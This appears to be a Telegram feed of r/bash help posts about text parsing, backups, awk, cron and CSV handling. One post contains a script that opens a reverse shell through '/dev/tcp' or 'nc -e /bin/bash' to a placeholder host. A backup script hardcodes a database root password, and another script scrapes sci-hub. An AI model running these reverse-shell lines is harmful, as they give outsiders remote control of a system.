r_bash – Telegram
Need help in extracting specific words from specific line from a text file and echo it to the user when they enter their name.

# Hi everyone basically I got stuck on this part of an assignment, I tried searching everywhere but can't seem to get an answer. I am using ubuntu terminal.

# Basically I have this student.txt

__________________________________________________________________________________________________________

Name:country:phonebrand:email

James:Singapore:Apple:outlook

Jonh:USA:samsung:gmail

Steve:England:nokia:gmail

_______________________________________________________________________________________________________

# I am suppose create a executable binbash file to allow user to enter their name, and automatically it will display the phone brand, email, country details. So any help would be appreciated.

______________________________________________________________________________________________________

Name:

________________________________________________________________________________________________

Phone brand(auto display) :

Email (auto display) :

Country (auto display) :

_____________________________________________________________________________________________________

https://redd.it/x28qb4
@r_bash
ZERO knowledge in noscripting, need help in this noscript.

Okay please don't flame me. This is probably chicken stuff from y'all.
Totally zero knowledge in noscripting and inherited an IT system.
One of daily tasks is to do backup of our redmine db to our storage server. Both local.
Last I.T. left me with a noscript to do this.
The noscript backups ALL-time redmine DB and I just need to backup this year's DB. (2022)

Hope somebody could let me know what I need to change.


#!/usr/bin/env bash
BACKUP_DATE=`date +"%Y%m%d"`
pushd /root
rm -f redmine_db_${BACKUP_DATE}.sql
rm -f redmine_db_${BACKUP_DATE}.tar.gz
rm -f redmine_file_${BACKUP_DATE}.tar.gz
mysqldump -uroot -pcomplipassword --all-databases > redmine_db_${BACKUP_DATE}.sql
tar -cvzf redmine_db_${BACKUP_DATE}.tar.gz redmine_db_${BACKUP_DATE}.sql
rm -f redmine_db_${BACKUP_DATE}.sql
scp -P 32323 redmine_db_${BACKUP_DATE}.tar.gz ubuntu@192.168.10.231:/mnt/gitbackup/
rm -f redmine_db_${BACKUP_DATE}.tar.gz
tar -cvzf redmine_file_${BACKUP_DATE}.tar.gz /opt/redmine/files
scp -P 32323 redmine_file_${BACKUP_DATE}.tar.gz ubuntu@192.168.10.231:/mnt/gitbackup/
rm -f redmine_file_${BACKUP_DATE}.tar.gz
popd

https://redd.it/x245gc
@r_bash
How to cd into an argument's directory?

I want my noscript to cd into the directory of $1. For example: if the user passes /home/user/pdf/book1.pdf as an argument, I want the noscript to cd into /home/user/pdf. Any idea?

https://redd.it/x1s7jg
@r_bash
Download Any Research Article

By simply copying the doi of any article (i.e., [https://doi.org/](https://doi.org/)...) and passing it as a second argument, the noscript scrapes [sci-hub.se](https://sci-hub.se) and opens the article in your native pdf viewer. If you have xclip or xsel installed, you can simply copy the doi and only run the noscript without passing any arguments.

You need curl as dependency.

Optional dependencies are dmenu, xclip or xsel

​

#!/bin/bash

# To run:
# 1. Copy https://doi.org/blahblah
# 2. Then pass it as the second argument: ./paperdownloadscihub https://doi.org/blahblah
# * Or you can just run the noscript if the link is copied in your clipboard

dmenuprompt() {
answer=$(echo -e "Yes\nNo" | dmenu -i -p "Keep paper?")
[[ -z $answer ]] && rm -rf $downloaded_paper && notify-send "$downloaded_paper removed" && exit 0;
case $answer in
#"Yes") mv $downloaded_paper "$papersdir" && notify-send "$downloaded_paper saved in $papersdir" ;;
"Yes") notify-send "$downloaded_paper saved in $papersdir" && exit 0 ;;
"No") rm -rf $downloaded_paper && notify-send "$downloaded_paper removed" ;;
*) exit 0 ;;
esac
}
papersdir="$HOME/Downloads"
[[ -d $papersdir ]] || papersdir="$HOME/Downloads"
useragent="Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0"
[[ ! -z "$@" ]] && doi="$@" || \
doi=$(xclip -selection clipboard -o)
[[ -z $doi ]] && doi=$(xsel)
[[ -z $doi ]] && doi=$(wl-paste)
[[ -z $doi ]] && doi=$(pbpaste)
linkk=$(echo "https://sci-hub.se/"$doi | sed "s/ //g")
tmppaper=$(curl -s $linkk | grep "<button onclick" | awk 'BEGIN {FS="\""} {print $2}' | sed "s/location.href='//g;s/'//g;s/?download=true//g")
[[ -z $tmppaper ]] && notify-send "Paper not found" && exit 1;
two_dashes=$(echo $tmppaper | grep -o "^\/\/");
[[ -z $two_dashes ]] && paper=$tmppaper || paper=$(echo $tmppaper | sed "s/^\/\///")
paper_with_scihub=$(echo "https://$paper")
[[ $paper_with_scihub == "https://sci-hub.se" ]] && notify-send "Paper not found" && exit 1;
cd $papersdir
curl -LsO "$paper_with_scihub" \
&& downloaded_paper=$(ls -tr *.pdf | tail -n 1)
typee=$(file -b $downloaded_paper 2>/dev/null | cut -d' ' -f1)
if [[ typee == "HTML" || -z $downloaded_paper ]];
then
paper_with_scihub=$(echo "https://sci-hub.se$paper")
curl -LsO "$paper_with_scihub" \
&& downloaded_paper=$(ls -tr *.pdf | tail -n 1)
fi
xdg-open $downloaded_paper 2>/dev/null || open $downloaded_paper 2>/dev/null && [[ -z "$(which dmenu 2>/dev/null)" ]] && exit 1 || dmenuprompt

https://redd.it/xfebph
@r_bash
Authenticate using external noscript

I have a bunch of small noscripts which are interacting with a rest api. An example of such is the below list.sh noscript.

#!/usr/bin/env bash

$HTTP "$INSTANCE_HOST/instances" "Authorization: Bearer $ACCESS_TOKEN"

Note that HTTP="http --verify=no --check-status"

All of these small noscripts have the need for a valid access token ($ACCESS_TOKEN) in common.

What I'd like to have is another noscript which I can source and have the ACCESS_TOKEN variable updated as needed. I've tried to do that using the following noscript. Named auth.sh.

#!/usr/bin/env bash

exp=$(echo "$ACCESS_TOKEN" | jq -R 'split(".")? | .[1] | @base64d | fromjson | .exp')

NOW=$(date +%s)

if [[ -z "$exp" ]] || (( $exp < $NOW )); then

echo "Update token..."

# shellcheck disable=SC2155

export ACCESS_TOKEN=$($HTTP --auth "$USER_EMAIL:$PASSWORD" post "$INSTANCE_HOST/tokens" | jq -r '.access_token')

else

echo "Token still valid!"

fi

But the above noscript always update the access token.

Using the above I'd like to have my initial list.sh noscript defined as below

#!/usr/bin/env bash

source ./auth.sh

$HTTP "$INSTANCE_HOST/instances" "Authorization: Bearer $ACCESS_TOKEN"

Is this possible with bash? As mentioned before the auth.sh noscript always update the access token.

https://redd.it/xfhcr9
@r_bash
Match an exactly string 2 or more times

I've this text and i need to match all functions that returns int and has int as parameter

; unistd.h
void _exit(int);
int access(string,int);
uint alarm(uint);
int chdir(string);
int chown(string,int,int);
int close(int);

I've tried `grep -E '^int|\(int|,int\)'` but that's is an or, so i've tried `grep -E '\bint\b{2,}'` but, nothing

https://redd.it/xfjcd3
@r_bash
I want to assign a command to a variable and use it in if statement

sum_errors=$(grep -P '^(?!\[SKIPPED\]).*?[Ee]rror' $LOG_FILE)


if [[ $(grep -P '^(?!\[SKIPPED\]).*?[Ee]rror' $LOG_FILE) ]]; then
echo -e "Error details:\n\n$sum_errors\n" >> $LOG_FILE 2>&1
else
echo -e "No errors found." >> $LOG_FILE 2>&1
fi


I want to use "sum\_errors" instead of the whole grep command as condition to if statement, this is required in order to make the noscript working good.

I tried to do this:

if [[ $(${sum_errors}) ]]; then
echo -e "Error details:\n\n$sum_errors\n" >> $LOG_FILE 2>&1
else
echo -e "No errors found" >> $LOG_FILE 2>&1
fi

and it works if the grep command doesn't output nothing, but if it finds the string pattern it fails and returns this:

./test1.sh: line 31: Modular: command not found

Can you help me understand what am i doing wrong?

https://redd.it/xfq5mr
@r_bash
Help with awk in noscript

Hi,

I am trying to adapt a rofi noscript that changes the pulseaudio sink.The noscript work well, but I want to replace the sink/device names from "alsa_output.pci-0000_06_00.6.analog-stereo" to "Laptop" for example.

Can it be done with awk?The idea is: if sink name matches "alsa_output.pci-0000_06_00.6.analog-stereo" then print "Laptop", but for the next command keep "alsa_output.pci-0000_06_00.6.analog-stereo"

Here is the noscript I am using:

#!/usr/bin/bash# choose pulseaudio sink via rofi or dmenu # changes default sink and moves all streams to that sinksink=$(ponymix -t sink list|awk '/^sink/ {s=$1" "$2;getline;gsub(/^ +/,"",$0);print s" "$0}'|rofi -dmenu -p 'pulseaudio sink:' -location 6 -width 100|grep -Po '[0-9]+(?=:)') &&

ponymix set-default -d $sink && for input in $(ponymix list -t sink-input|grep -Po '[0-9]+(?=:)');do
echo "$input -> $sink"

ponymix -t sink-input -d $input move $sink done

Thank you in advance! :)

https://redd.it/xfrb3z
@r_bash
Display input line by line waiting on keypress

I would like to do something like

ls | while read n; do echo $n; read; done

For some reason the second read command doesn’t seem to be executing, is it blocked by the first read command or something?

Could anyone suggest a way to do this?

Thanks very much

https://redd.it/xfls1y
@r_bash
awk is adding a space to print output

cat variables.tf | grep -i "createkmskey" -A 3 | awk -F'=' '/default/ {print "\""$2"\""}'

I'm reading a value from a file, and some outputs will have a value of true or false bash interprets this as a boolean. So I am wrapping the output with ". Doing so though awk adds a white space to the output so false will output " false" instead of "false".

Sometimes the values in the Default field will be strings, numbers, etc.

How do I strip that white space without having to resort to the likes of sed, and only use awk?

https://redd.it/x0ygeb
@r_bash
why is crontab running some commands different? (running noscript manually works as expected)

I have a noscript which is runs correctly manually and I know crontab is picking it up because the logs get updated but I have the following issues:

in crontab "lastUpdate", "now" and "diff" are always empty in the log (when I run it manually they have integer values) and because of this it never reaches the "then" statement (also I assume kill and python commands will work in crontab)

log looks like (but i expect values for 2,3,4):

1 start

2

3

4

&#x200B;

_____________________________________________________________

crontab -e: * * * * * /home/jmair/test/noscript.sh

_____________________________________________________________

\#!/bin/bash

echo "start" >> /home/jmair/log.txt

lastUpdate=$(stat -c %Y products.json)

now=$(date +%s)

let diff=${now}-${lastUpdate}

limit=10

echo $(lastUpdate) >> /home/jmair/log.txt

echo $(now) >> /home/jmair/log.txt

echo $(diff) >> /home/jmair/log.txt

echo $(diff>limit) >> /home/jmair/log.txt

if ((diff>limit))

then

echo "restarting main.py" >> /home/jmair/log.txt

kill $(pgrep -f 'main.py')

sleep 1

python3.9 /home/jmair/test/main.py

fi

https://redd.it/xfzhgm
@r_bash
Formatting multiple line output to CSV

I'm running speedtest-cli --simple

Output:

>Ping: 56.438 ms
>
>Download: 201.86 Mbit/s
>
>Upload: 18.42 Mbit/s

What I would like to do is change this to output to CSV file:

>56.438 ms, 201.86 Mbit/s, 18.42 Mbit/s

so that I could append it to the file.

&#x200B;

I've trying to use awk to only get the desired text, but I still get it in three different lines without commas.

https://redd.it/x122we
@r_bash
Help with Bash Script using Netcat

Hello, creating a Bash noscript with this goal. I would like to use Reverse Bash when Netcat is NOT available. And I would like to use Reverse NC, when Netcat IS available. Comments explain what is going on. My current issue is, whether I set the final IF statement to "==" or "!=", I am having "Reverse Bash" always executed. Why is this happening? Appreciate any help thanks!

&#x200B;

#!/bin/bash

#Jack is variable that sets Netcats Path to it, using which function.
#Jake is variable to Netcat Path, checks against it if its present.

JACK=echo "$(/usr/bin/which nc)" &> /dev/null
JAKE=echo "/usr/bin/nc" &> /dev/null

# If statement checks if Netcat path is installed.

if $JACK == $JAKE ;then
echo "They are equal.. For testing purposes."
fi

# If Netcat Path is equal/found, then Reverse NC should be run.
# If Netcat Path is NOT equal/found, then Reverse Bash is run.

if $JACK != $JAKE ;then
echo Reverse Bash
bash -i >& /dev/tcp/IPHERE/PORTHERE 0>&1
else
echo Reverse NC
nc IPHERE 87 -e /bin/bash &
fi

https://redd.it/x0u9oe
@r_bash
Everytime I enter "./filename -s s" in the command line I get the usage message.

I am very new at this and I don't know what im doing wrong. If you know please help.

#global area

SORT="cat"

DATAFILE="zipcodes.dat"

#functions area

usage(){

cat 1>&2 <<EOF

usage: $(basename $0)

-h this is a help message.

-s sort by zipcode, city, and or state.

-d set output delimeter

-l locate city by text.

-c data to display.

EOF

exit $1

}

sort_zip_city_state(){

local which_sort=$1

case $which_sort in

s)SORT="sort -k3,3";;

c)SORT="sort -k2,2";;

z)SORT="sort -k1,1";;

*) usage 0;;

esac

shift

}

#read parameters

while [ $# -gt 0 ]; do

case $1 in

-h) usage 0;;

-s) sort_zip_city_state $1;;

*) usage 1;;

esac

shift

done

# call the utilities

cat $DATAFILE | $SORT

https://redd.it/xg68qd
@r_bash
breaking my PS1 too many times

I was trying to edit my PS0 and PS1 and things went wrong quickly so I wrote:

alias PS1='saveps1() { [[ -z "${1}" ]] && (echo "PS1 ${PS1@Q}";) || PS1="${1}"; echo "PS1 ${1@Q}" >> ~/ps.txt ; }; saveps1'
alias PS0='saveps0() { [[ -z "${1}" ]] && (echo "PS0 ${PS0@Q}";) || PS0="${1}"; echo "PS0 ${1@Q}" >> ~/ps.txt ; }; saveps0'

So I could edit with _PS1 'whatever' or just _PS1 for fast checking and get things stored into _ps.txt

Now, I wanted a basic elapsed time in PS1 from PS0 made by myself, and after some quite breaking shells I found this is working quite well:

PS0='${PS1:(PStime=$(printtime)):0}'
PS1='$(
elapsed $PStime)${PS1:(PStime=0):0}\u@\h:\w\$ '

Functions:

printtime ()
{
local
var=${EPOCHREALTIME/,/};
echo ${var%???}
}

elapsed ()
{
[ -v "${1}" ] || ( local VAR=$(printtime);
local ELAPSED=$(( ${VAR} - ${1} ));
echo "${ELAPTXT}$(formatms ${ELAPSED})"$'\e[0m' )
}

formatms ()
{
local n=$((${1})) && case ${n} in
? | ?? | ???)
echo $n"ms"
;;
????)
echo ${
n:0:1}${n:0,-3}"ms"
;;
?????)
echo ${
n:0:2}","${n:0,-3}"s"
;;
??????)
printf $((${
n:0:3}/60))m+$((${n:0:3}%60)),${n:0,-3}"s"
;;
???????)
printf $((${n:0:4}/60))m$((${n:0:4}%60))s${n:0,-3}"ms"
;;
*)
printf "too much!"
;;
esac
}
ELAPTXT=$'\E1;33m \uf135 '

&#x200B;

[testing


Please criticize, optimize or comment any bad approach here.

I'm new to bash but found it very enjoyable.

https://redd.it/xgirh0
@r_bash
What am I doing wrong with my if statement?

##START FUNCTION
function maintenabledisable() {
if $MAINT_CONFIG_ENABLED -gt "0" ; then
if "$ARGV" = "enable_maint" ; then
echo "enabling maintenance";

else
echo "disabling maintenance";

fi
else
echo "Maintenance config disabled. Nothing to do.";
fi
}#end maintenabledisable
##END FUNCTION

I keep getting "syntax error: unexpected end of file". Through trouble shooting I have narrowed it down to this section.

&#x200B;

edit: solution found thanks to @**o11c** I was missing a space at my end-of-line note between the } and #

https://redd.it/x10eu8
@r_bash
Change font color for various cli's

I have several cli's on my arch linux system (node,python,sql,etc.). I want to set it so that when I run one of these it outputs a specific font color for each one. For example, if I run my node cli all of the font will be in green, sql in yellow, docker in another color, etc. What would be the best approach to do this? Is it something that requires a config file for each program or could I have an alias that runs the program in with a bash command attached to it?

https://redd.it/xgvhrp
@r_bash
Remove header from my command

Hi all,

I am playing around with sed and gawk trying to learn it. How can I remove the first row of output (in my case, "filesystem" and "use"

df -H | gawk '{ print $1 $5}'

I want to return partitions and usage but not the headers in my df command.

I found out if I try to use sed again to remove column 1, it bumps all columns left and now the second column displays because it's now considered 1. Interesting.

Reminder the df outputs:
Filesystem. Size. Used. Avail. Use. Mounted on.

https://redd.it/xgzuck
@r_bash
Extend a csv file

For exercise I need to create a bash noscript that receives one or more csv files, calculates the maximum number of rows (N) and columns (M) and then, for each file create an extended (-extended.csv) version that has the maximum number of rows and columns.

For example, if I receive a file file1.csv of 2 rows and 3 columns and, the maximum numbers found are 4 rows and 4 columns, file1-extended.csv will have 4 rows and 4 columns where the missing rows and columns will be replaced by zeros.

#! /bin/bash

if $# < 1 ;then echo "error: $0 <file1.csv> <file2.csv>...<filen.csv>"; exit 1; fi

N=0
M=0

for file in "${@}"
do
extension="${file##.}"
if [[ $extension == "csv" ]] && [[ -f $file ]]
then
files+=("$file")
tmp=$(awk -F, 'END{print NR}' $file)
if [[ $tmp >
$N ]];then N=$tmp; fi
tmp=$(awk -F, 'END{print NF}' $file)
if [[ $tmp >
$M ]];then M=$tmp; fi
else
>&2 echo "$file not processed"
fi
done

for file in ${files[@]}
do
filename="${file%.
}"

awk -F, -v column=$M 'BEGIN{OFS=","};NF<column{print $0; for(i=NF+1;i<column;i++) print 0;}{print $0};' $file >> "$filename-extended.csv"

done

Many of my colleagues have done the exercise by creating external fors and then finishing using AWK with the data generated by the external fors. I would like to use AWK exclusively but I have 2 problems:

How to fill empty columns w/ zeroes
How to fill in the blank lines w/ zeroes

Because if I receive a file whose number of columns and rows is less than the maximum number of columns and rows, I have to add one (or more) column and one (or more) row of all zeros.

https://redd.it/xh8603
@r_bash